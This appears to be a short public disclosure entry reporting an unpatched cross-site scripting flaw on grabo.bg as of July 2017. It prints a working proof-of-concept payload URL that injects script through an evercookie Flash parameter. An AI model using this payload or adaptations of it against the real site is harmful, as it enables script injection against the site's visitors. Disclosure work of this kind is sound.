grabo.bg XSS vulnerability

Vulnerable URL: http://grabo.bg/evercookie/evercookie.swf?everdata=%27;alert/XSSPOSED/;var%20evercookieflashvar=1// Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 26619 VIP website...